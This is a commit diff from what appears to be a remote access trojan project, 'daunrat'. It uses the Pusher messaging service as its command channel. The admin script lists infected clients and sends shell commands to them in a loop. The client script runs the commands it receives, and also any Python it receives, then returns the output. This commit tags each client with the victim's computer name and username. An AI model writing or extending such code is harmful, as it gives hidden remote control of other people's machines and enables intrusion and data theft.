reworked ids system
This commit is contained in:
@@ -18,9 +18,9 @@ def handle_connection_to_server(connection):
|
|||||||
print("Connected to server")
|
print("Connected to server")
|
||||||
print("Server returned: " + str(connection))
|
print("Server returned: " + str(connection))
|
||||||
print("Available client IDs: " +
|
print("Available client IDs: " +
|
||||||
str(list(client.channels_info(prefix_filter='admin-')['channels']))
|
str(', '.join(list(map(lambda channel_id: channel_id.split('-')[-1],
|
||||||
.replace('admin-', '').replace('[', '').replace(']', '').replace("'", ''))
|
list(client.channels_info(prefix_filter='admin-')['channels']))))))
|
||||||
client_id = int(input("Enter id to connect: "))
|
client_id = input("Enter id to connect: ")
|
||||||
client.trigger('admin-' + str(client_id), 'connection_from_admin', None)
|
client.trigger('admin-' + str(client_id), 'connection_from_admin', None)
|
||||||
print("Sent connection message to client")
|
print("Sent connection message to client")
|
||||||
|
|
||||||
|
|||||||
@@ -22,9 +22,9 @@ def handle_connection_to_server(connection):
|
|||||||
print("Connected to server")
|
print("Connected to server")
|
||||||
print("Server returned: " + str(connection))
|
print("Server returned: " + str(connection))
|
||||||
print("Available client IDs: " +
|
print("Available client IDs: " +
|
||||||
str(list(client.channels_info(prefix_filter='admin-')['channels']))
|
str(', '.join(list(map(lambda channel_id: channel_id.split('-')[-1],
|
||||||
.replace('admin-', '').replace('[', '').replace(']', '').replace("'", ''))
|
list(client.channels_info(prefix_filter='admin-')['channels']))))))
|
||||||
client_id = int(input("Enter id to connect: "))
|
client_id = input("Enter id to connect: ")
|
||||||
client.trigger('admin-' + str(client_id), 'connection_from_admin', None)
|
client.trigger('admin-' + str(client_id), 'connection_from_admin', None)
|
||||||
print("Sent connection message to client")
|
print("Sent connection message to client")
|
||||||
log_channel = receiver.subscribe('client-' + str(client_id))
|
log_channel = receiver.subscribe('client-' + str(client_id))
|
||||||
|
|||||||
@@ -3,7 +3,6 @@ import pusher
|
|||||||
import pysher
|
import pysher
|
||||||
import sys
|
import sys
|
||||||
|
|
||||||
|
|
||||||
client = pusher.Pusher(
|
client = pusher.Pusher(
|
||||||
app_id=app_id,
|
app_id=app_id,
|
||||||
key=key,
|
key=key,
|
||||||
@@ -17,14 +16,16 @@ receiver = pysher.Pusher(key=key, cluster=cluster)
|
|||||||
def handle_connection_to_server(connection):
|
def handle_connection_to_server(connection):
|
||||||
print("Connected to server")
|
print("Connected to server")
|
||||||
print("Server returned: " + str(connection))
|
print("Server returned: " + str(connection))
|
||||||
|
ids = dict()
|
||||||
|
|
||||||
print("Available client IDs: " +
|
print("Available client IDs: " +
|
||||||
str(list(client.channels_info(prefix_filter='admin-')['channels']))
|
str(', '.join(list(map(lambda channel_id: channel_id.split('-')[-1],
|
||||||
.replace('admin-', '').replace('[', '').replace(']', '').replace("'", ''))
|
list(client.channels_info(prefix_filter='admin-')['channels']))))))
|
||||||
client_id = int(input("Enter id to connect: "))
|
client_id = input("Enter id to connect: ")
|
||||||
client.trigger('admin-' + str(client_id), 'connection_from_admin', None)
|
client.trigger('admin-' + client_id, 'connection_from_admin', None)
|
||||||
print("Sent connection message to client")
|
print("Sent connection message to client")
|
||||||
while True:
|
while True:
|
||||||
client.trigger('admin-' + str(client_id), 'command', input("Enter shell command: "))
|
client.trigger('admin-' + client_id, 'command', input("Enter shell command: "))
|
||||||
print("Sent shell command to client")
|
print("Sent shell command to client")
|
||||||
|
|
||||||
|
|
||||||
|
|||||||
@@ -18,9 +18,9 @@ def handle_connection_to_server(connection):
|
|||||||
print("Connected to server")
|
print("Connected to server")
|
||||||
print("Server returned: " + str(connection))
|
print("Server returned: " + str(connection))
|
||||||
print("Available client IDs: " +
|
print("Available client IDs: " +
|
||||||
str(list(client.channels_info(prefix_filter='admin-')['channels']))
|
str(', '.join(list(map(lambda channel_id: channel_id.split('-')[-1],
|
||||||
.replace('admin-', '').replace('[', '').replace(']', '').replace("'", ''))
|
list(client.channels_info(prefix_filter='admin-')['channels']))))))
|
||||||
client_id = int(input("Enter id to connect: "))
|
client_id = input("Enter id to connect: ")
|
||||||
client.trigger('admin-' + str(client_id), 'connection_from_admin', None)
|
client.trigger('admin-' + str(client_id), 'connection_from_admin', None)
|
||||||
print("Sent connection message to client")
|
print("Sent connection message to client")
|
||||||
while True:
|
while True:
|
||||||
|
|||||||
@@ -115,7 +115,7 @@ def handle_connection_to_server(connection) -> None:
|
|||||||
print("Connected to server")
|
print("Connected to server")
|
||||||
print("Server returned: " + str(connection))
|
print("Server returned: " + str(connection))
|
||||||
for client_id_av in list(client.channels_info(prefix_filter='admin-')['channels']):
|
for client_id_av in list(client.channels_info(prefix_filter='admin-')['channels']):
|
||||||
print("Channel: " + client_id_av)
|
print("Channel: " + client_id_av.split('-')[1])
|
||||||
|
|
||||||
|
|
||||||
# Trying to connect to pusher
|
# Trying to connect to pusher
|
||||||
|
|||||||
@@ -5,11 +5,12 @@ import io
|
|||||||
from contextlib import redirect_stdout
|
from contextlib import redirect_stdout
|
||||||
import subprocess
|
import subprocess
|
||||||
import sys
|
import sys
|
||||||
|
import os
|
||||||
sys.path.append('daun/modules')
|
sys.path.append('daun/modules')
|
||||||
import daun.modules as daun # needed to use daun functionality from admin
|
import daun.modules as daun # needed to use daun functionality from admin
|
||||||
from modules.selfutil import daunrat # needed to use self utility functions
|
from modules.selfutil import daunrat # needed to use self utility functions
|
||||||
|
|
||||||
client_id = int()
|
client_id = str()
|
||||||
|
|
||||||
client = pusher.Pusher(
|
client = pusher.Pusher(
|
||||||
app_id=app_id,
|
app_id=app_id,
|
||||||
@@ -29,8 +30,8 @@ def on_command(data):
|
|||||||
close_fds=True, text=True).communicate()
|
close_fds=True, text=True).communicate()
|
||||||
except Exception as e:
|
except Exception as e:
|
||||||
shell_logs = str(e)
|
shell_logs = str(e)
|
||||||
client.trigger('client-' + str(client_id), 'logs', shell_logs)
|
client.trigger('client-' + client_id, 'logs', shell_logs)
|
||||||
print("Shell logs sent on client-" + str(client_id))
|
print("Shell logs sent on client-" + client_id)
|
||||||
print("Shell logs: " + shell_logs)
|
print("Shell logs: " + shell_logs)
|
||||||
|
|
||||||
|
|
||||||
@@ -44,14 +45,14 @@ def on_python(data):
|
|||||||
except Exception as e:
|
except Exception as e:
|
||||||
print(e)
|
print(e)
|
||||||
python_logs = f.getvalue().strip()
|
python_logs = f.getvalue().strip()
|
||||||
client.trigger('client-' + str(client_id), 'logs', python_logs)
|
client.trigger('client-' + client_id, 'logs', python_logs)
|
||||||
print("Python logs sent on client-" + str(client_id))
|
print("Python logs sent on client-" + client_id)
|
||||||
print(python_logs)
|
print(python_logs)
|
||||||
|
|
||||||
|
|
||||||
def ping(data):
|
def ping(data):
|
||||||
print("Triggered ping")
|
print("Triggered ping")
|
||||||
client.trigger('client-' + str(client_id), 'ping', 'pong')
|
client.trigger('client-' + client_id, 'ping', 'pong')
|
||||||
|
|
||||||
|
|
||||||
def handle_connection_to_server(connection):
|
def handle_connection_to_server(connection):
|
||||||
@@ -59,10 +60,11 @@ def handle_connection_to_server(connection):
|
|||||||
print("Connected to server")
|
print("Connected to server")
|
||||||
print("Server returned: " + str(connection))
|
print("Server returned: " + str(connection))
|
||||||
try:
|
try:
|
||||||
client_id = str(int(list(client.channels_info(prefix_filter='admin-')['channels'])[-1].split('-')[-1]) + 1)
|
client_id = str(int(list(client.channels_info(prefix_filter='admin-')['channels'])[-1].split('-')[-1]
|
||||||
|
.split('@')[0]) + 1) + f'@{os.getenv("COMPUTERNAME")}@{os.getenv("UserName")}'
|
||||||
except IndexError:
|
except IndexError:
|
||||||
client_id = '0'
|
client_id = f'0@{os.getenv("COMPUTERNAME")}@{os.getenv("UserName")}'
|
||||||
channel = receiver.subscribe('admin-' + client_id)
|
channel = receiver.subscribe(f'admin-{client_id}')
|
||||||
print("Client id: " + client_id)
|
print("Client id: " + client_id)
|
||||||
channel.bind('connection_from_admin', lambda _: print("Connection from admin"))
|
channel.bind('connection_from_admin', lambda _: print("Connection from admin"))
|
||||||
channel.bind('ping', ping)
|
channel.bind('ping', ping)
|
||||||
|
|||||||
Reference in New Issue
Block a user